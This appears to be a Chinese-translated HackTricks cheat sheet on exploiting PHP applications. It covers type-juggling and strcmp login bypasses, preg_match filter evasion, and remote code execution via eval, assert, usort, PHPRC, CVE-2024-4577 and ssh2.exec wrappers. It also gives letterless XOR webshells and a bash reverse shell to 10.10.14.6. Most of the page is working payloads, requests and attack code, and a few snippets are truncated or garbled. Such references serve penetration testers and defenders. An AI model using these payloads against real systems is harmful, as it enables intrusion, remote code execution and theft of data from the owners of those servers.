PHP 技巧

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Cookies 常见位置:

这也适用于 phpMyAdmin cookies。

Cookies:

PHPSESSID
phpMyAdmin

位置:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

绕过 PHP 比较

宽松比较 / 类型转换 ( == )

如果在 PHP 中使用 ==,则存在一些比较不会按预期工作的意外情况。这是因为 == 只会比较被转换为相同类型的值,如果你还想比较被比较数据的类型是否相同,需要使用 ===

PHP comparison tables: https://www.php.net/manual/en/types.comparisons.php

  • "string" == 0 -> True 一个不以数字开头的字符串在与数字比较时会被视为相等
  • "0xAAAA" == "43690" -> True 由十进制或十六进制数字组成的字符串,如果表示相同的数值,与其他数字/字符串比较时会返回 True(字符串中的数字会被解释为数字)
  • "0e3264578" == 0 --> True 以 “0e” 开头且后面跟任意内容的字符串会等同于 0
  • "0X3264578" == 0X --> True 以 “0” 开头、后面接任意字母(X 可以代表任何字母)并跟任意内容的字符串会等同于 0
  • "0e12334" == "0" --> True 这点很有趣,因为在某些情况下你可以控制作为 “0” 的字符串输入以及被哈希后与之比较的内容。因此,如果你能提供一个会生成以 “0e” 开头且不含字母的哈希值的输入,就可以绕过比较。你可以在此处找到具有这种格式的已哈希字符串: https://github.com/spaze/hashes
  • "X" == 0 --> True 字符串中的任意字母与整数 0 相等

More info in https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

类型转换 (Type Juggling) 默认也会影响 in_array() 函数(你需要将第三个参数设为 true 才能进行严格比较):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

如果这个函数用于 任何认证检查(比如检查密码),并且用户控制比较的一方,他可以发送一个空数组而不是字符串作为密码的值(https://example.com/login.php/?username=admin&password[]=)来绕过该检查:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

相同的错误也会出现在 strcasecmp()

严格的 type Juggling

即使 === 正在使用,也可能存在使比较易受 type juggling 影响的错误。例如,如果比较操作在比较之前将数据转换为不同类型的对象

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() 可用于 validate user input(它会 checks 是否有来自 blacklist 的任何 word/regex 出现在 user input 中,如果没有,代码就会继续执行)。

New line bypass

然而,当定界 regexppreg_match() only checks the first line of the user input,因此如果你能以多行的方式 send 输入,就可能绕过此检查。示例:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

要绕过此检查,你可以 将值中的换行用 urlencoded 编码后发送 (%0A) 或者如果你可以发送 JSON data,把它分成多行发送:

{
"cmd": "cat /etc/passwd"
}

在此可找到示例: https://ramadistra.dev/fbctf-2019-rceservice

Length error bypass

(这个 bypass 似乎在 PHP 5.2.5 上尝试过,但我无法在 PHP 7.3.15 上使其工作)
如果你能向 preg_match() 发送一个合法且非常 大的输入,它将 无法处理,你就能 bypass 该检查。举例来说,如果它对 JSON 做黑名单过滤,你可以发送:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0

ReDoS Bypass

Trick from: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong

简而言之,问题产生的原因是 PHP 的 preg_* 函数构建在 PCRE library 之上。在 PCRE 中,某些正则表达式的匹配会使用大量递归调用,从而耗尽大量栈空间。可以为允许的递归次数设置限制,但在 PHP 中,这个限制 defaults to 100.000,超过了栈能容纳的量。

This Stackoverflow thread 也在文章中被链接,那里对这个问题有更深入的讨论。我们的任务现在很清楚:
发送一个输入,使 regex 进行 100_000+ 次递归,触发 SIGSEGV,使 preg_match() 返回 false,从而让应用认为我们的输入不是恶意的,在 payload 末尾扔出像 {system(<verybadcommand>)} 这样的惊喜以获得 SSTI –> RCE –> flag :)

好吧,从 regex 的角度来说,我们并不是真的做了 100k 的“recursions”,而是在计数“backtracking steps”,正如 PHP documentation 所述,pcre.backtrack_limit 变量默认是 1_000_000(1M)。
要达到这个值,'X'*500_001 会导致一百万次回溯步骤(500k 向前和 500k 向后):

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Type Juggling 用于 PHP obfuscation

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Execute After Redirect (EAR)

如果 PHP 正在重定向到另一个页面,但没有 dieexit 函数 在设置 header Location 之后被调用,PHP 会继续执行并将数据追加到响应体:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Path Traversal and File Inclusion Exploitation

检查:

File Inclusion/Path traversal

更多技巧

  • register_globals: 在 PHP < 4.1.1.1 或者配置错误的情况下,register_globals 可能处于启用状态(或其行为被模拟)。这意味着在全局变量如 $_GET 如果有值,例如 $_GET[“param”]=“1234”,你可以通过 $param 访问它。因此,通过发送 HTTP 参数你可以覆盖代码中使用的变量。
  • PHPSESSION cookies of the same domain are stored in the same place,因此如果在同一域内 different cookies are used in different paths,你可以让某个路径 accesses the cookie of the path,将另一路径 cookie 的值设置为该路径的值。
    这样如果 both paths access a variable with the same name,你可以使 the value of that variable in path1 apply to path2。然后 path2 会把 path1 的变量当作有效(通过将 cookie 的名称设为 path2 中对应的名称)。
  • 当你拥有机器上用户的 usernames 时,检查地址: /~<USERNAME> 看看 php 目录是否被启用。
  • 如果 php 配置有 register_argc_argv = On,那么以空格分隔的查询参数会被用来填充参数数组 array_keys($_SERVER['argv']),就像它们是 arguments from the CLI。这很有趣,因为如果该 setting is off,当从 web 调用时,args 数组的值将为 Null,因为 args 数组不会被填充。因此,如果某个网页通过类似 if (empty($_SERVER['argv'])) { 的比较来判断它是作为 web 还是 CLI 运行,攻击者可以在 GET 请求中发送 ?--configPath=/lalala 这样的参数,页面就会认为它在 CLI 下运行,并可能解析并使用这些参数。更多信息见 原始文章.
  • LFI and RCE using php wrappers

password_hash/password_verify

This functions are typically used in PHP to generate hashes from passwords and to to check if a password is correct compared with a hash.
The supported algorithms are: PASSWORD_DEFAULT and PASSWORD_BCRYPT (starts with $2y$). Note that PASSWORD_DEFAULT is frequently the same as PASSWORD_BCRYPT. And currently, PASSWORD_BCRYPT has a size limitation in the input of 72bytes. Therefore, when you try to hash something larger than 72bytes with this algorithm only the first 72B will be used:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

利用 PHP 错误 绕过 HTTP headers

在设置 headers 后触发错误

From this twitter thread 你可以看到发送超过 1000 个 GET params 或 1000 个 POST params 或 20 个 files 时,PHOP 不会在响应中设置 headers。

允许绕过例如在类似代码中设置的 CSP headers:

<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];

在设置 headers 之前填充 body

如果一个 PHP 页面正在输出错误并回显用户提供的某些输入,用户可以让 PHP 服务器回显一些足够长的内容,以至于当它尝试将 headers 添加到响应时服务器会抛出错误。
在下面的场景中,攻击者让服务器抛出了一些很大的错误,如你在屏幕中所见,当 php 试图修改 header 信息时,它无法做到(例如 CSP header 未发送给用户):

PHP 函数中的 SSRF

查看该页面:

PHP SSRF

ssh2.exec stream wrapper RCE

当安装了 ssh2 扩展(例如能在 /etc/php*/mods-available/ 中看到 ssh2.so,或通过 php -m 可见,甚至存在一个 FTP 可访问的 php8.1_conf/ 目录)时,PHP 会注册 ssh2.* wrappers,这些 wrapper 可以在任何将用户输入拼接到 fopen()/file_get_contents() 目标的位置被滥用。像下面这样的仅供管理员使用的下载助手:

$wrapper = strpos($_GET['format'], '://') !== false ? $_GET['format'] : '';
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');

足以通过 localhost SSH 执行 shell 命令:

GET /download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1:22/ping%2010.10.14.6%20-c%201#
  • 凭证部分可以重用任何 leaked 系统密码(例如,来自 cracked bcrypt hashes)。
  • 末尾的 # 会注释掉服务器端的后缀(files/<id>.zip),因此仅运行你的命令。
  • Blind RCE 可通过使用 tcpdump -ni tun0 icmp 监控出站流量或通过提供 HTTP canary 来确认。

Swap the command for a reverse shell payload once validated:

format=ssh2.exec://yuri:mustang@127.0.0.1:22/bash%20-c%20'bash%20-i%20>&%20/dev/tcp/10.10.14.6/443%200>&1'#

因为所有操作都发生在 PHP worker 内,TCP 连接由目标发起,并继承被注入账户(yurieric 等)的权限。

Code execution

system(“ls”);
`ls`;
shell_exec(“ls”);

Check this for more useful PHP functions

RCE via preg_replace()

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

要执行 “replace” 参数中的代码,至少需要一个匹配项.\
preg_replace 的这个选项自 PHP 5.5.0 起已被弃用。

RCE via Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE via Assert()

这个函数在 php 中允许你 执行写在字符串中的代码返回 true 或 false(并根据此改变执行)。通常用户变量会被插入在字符串的中间。例如:
assert("strpos($_GET['page']),'..') === false") –> 在这种情况下要获得 RCE 你可以做:

?page=a','NeVeR') === false and system('ls') and strpos('a

你需要破坏代码语法添加你的payload,然后再次修复它。你可以使用逻辑操作,例如**“and” or “%26%26” or “|”**。注意 “or”、“||” 无效,因为如果第一个条件为真,我们的 payload 不会被执行。同样地,“;” 也无效,因为我们的 payload 不会被执行。

Other option is to add to the string the execution of the command: '.highlight_file('.passwd')'

Other option (if you have the internal code) is to modify some variable to alter the execution: $file = “hola”

RCE via usort()

This function is used to sort an array of items using an specific function.
To abuse this function:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

你也可以使用 // 来注释其余的代码。

要确定需要关闭的括号数量:

  • ?order=id;}//: 我们得到一个错误消息(Parse error: syntax error, unexpected ';')。我们可能缺少一个或多个括号。
  • ?order=id);}//: 我们得到一个 warning。这看起来差不多对。
  • ?order=id));}//: 我们得到一个错误消息(Parse error: syntax error, unexpected ')' i)。我们可能有太多的关闭括号。

RCE via .httaccess

如果你可以 上传 一个 .htaccess,那么你可以 配置 多项设置,甚至执行代码(配置使扩展名为 .htaccess 的文件可以被执行)。

Different .htaccess shells can be found here

RCE via Env Variables

如果你发现一个漏洞允许你修改 PHP 的 env 变量(以及另一个允许上传文件的漏洞,尽管通过更多研究可能可以绕过),你可以滥用此行为来获得 RCE

  • LD_PRELOAD:这个环境变量允许你在执行其他二进制文件时加载任意库(尽管在此情况下可能无法工作)。
  • PHPRC:指示 PHP 在哪里定位其配置文件,通常称为 php.ini。如果你可以上传你自己的配置文件,则使用 PHPRC 指向它。添加一个 auto_prepend_file 条目,指定第二个上传的文件。第二个文件包含普通的 PHP 代码,随后由 PHP 运行时在其他代码之前执行
  1. 上传一个包含我们 shellcode 的 PHP 文件
  2. 上传第二个文件,包含一个 auto_prepend_file 指令,指示 PHP 预处理器执行我们在步骤 1 上传的文件
  3. PHPRC 变量设置为我们在步骤 2 上传的文件。
  • Get more info on how to execute this chain from the original report.
  • PHPRC - 另一种选择
  • 如果你 不能上传文件,你可以在 FreeBSD 中使用“文件” /dev/fd/0,它包含 stdin,即发送到 stdin 的请求的 body
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
  • 或者要获取 RCE,启用 allow_url_include,并前置一个包含 base64 PHP 代码 的文件:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
  • Technique from this report.

XAMPP CGI RCE - CVE-2024-4577

The webserver parses HTTP requests and passes them to a PHP script executing a request such as as http://host/cgi.php?foo=bar as php.exe cgi.php foo=bar, which allows a parameter injection. This would allow to inject the following parameters to load the PHP code from the body:

-d allow_url_include=1 -d auto_prepend_file=php://input

此外,由于 PHP 后续的规范化,有可能使用 0xAD 字符注入 “-” param。查看来自 this post 的 exploit 示例:

POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

PHP Sanitization bypass & Brain Fuck

In this post 可以找到很棒的思路,用极少的允许字符生成 brain fuck PHP 代码。
此外,文章还提出了一种有趣的方法来执行函数,从而使他们能够绕过多项检查:

(1)->{system($_GET[chr(97)])}

PHP 静态分析

查看是否可以在对这些函数的调用中插入代码(来自 here):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

如果你在调试一个 PHP 应用,可以在 /etc/php5/apache2/php.ini 全局开启错误输出,添加 display_errors = On,然后重启 apache:sudo systemctl restart apache2

反混淆 PHP 代码

你可以使用 web www.unphp.net 来反混淆 php 代码。

PHP 包装器和协议

PHP 包装器和协议可能允许你绕过系统中的写入和读取保护并导致系统被攻陷。更多信息请查看此页面

Xdebug 无需认证的 RCE

如果你在 phpconfig() 输出中看到 Xdebug启用,你应该尝试通过 https://github.com/nqxcode/xdebug-exploit 获取 RCE。

可变变量

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE 滥用 new $_GET[“a”]($_GET[“b”])

如果在页面中你可以 创建任意类的新对象,你可能能够获得 RCE,查看以下页面以了解如何:

Php Rce Abusing Object Creation New Usd Get A Usd Get B

在没有字母的情况下执行 PHP

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

使用八进制

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR easy shell code

根据 this writeup ,可以通过以下方式生成一个简单的 shellcode:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

因此,如果你可以 execute arbitrary PHP without numbers and letters,你可以发送如下请求,利用该 payload 来 execute arbitrary PHP:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

欲了解更深入的解释,请参阅 https://ctf-wiki.org/web/php/php/#preg_match

XOR Shellcode (在 eval 中)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

类似 Perl

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks